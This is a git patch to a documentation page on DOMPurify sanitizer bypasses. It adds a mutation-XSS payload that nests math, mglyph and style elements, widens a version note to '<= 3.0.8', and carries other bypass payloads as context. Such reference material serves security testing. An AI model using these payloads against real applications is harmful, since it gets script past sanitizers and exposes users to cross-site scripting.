From 720f0471bfa19c0d3bde944a57ec4083d9f3d14a Mon Sep 17 00:00:00 2001
From: xanhacks <xanhacks@protonmail.com>
Date: Tue, 2 Apr 2024 10:03:49 +0200
Subject: [PATCH] add one paylaod

---
 content/docs/framework/dompurify.md | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/content/docs/framework/dompurify.md b/content/docs/framework/dompurify.md
index b14991e..996d4ee 100644
--- a/content/docs/framework/dompurify.md
+++ b/content/docs/framework/dompurify.md
@@ -40,7 +40,7 @@ DOMPurify.sanitize('<UL><li><A HREF=//google.com>click</UL>'); // becomes <ul><l
 <![CDATA[ ><img src onerror=alert(1)> ]]>
 ```
 
-### Version 3.0.8
+### Version <= 3.0.8
 
 - [Playing with DOMPurify custom elements handling](https://mizu.re/post/playing-with-dompurify-ce-handling)
 
@@ -62,6 +62,11 @@ DOMPurify.sanitize('<UL><li><A HREF=//google.com>click</UL>'); // becomes <ul><l
 <!--</style><img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">
 ```
 
+```xml
+<math><mtext><table><mglyph><style>
+<!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
+```
+
 ### Version < 2.0.17
 
 - [Mutation XSS via namespace confusion](https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/)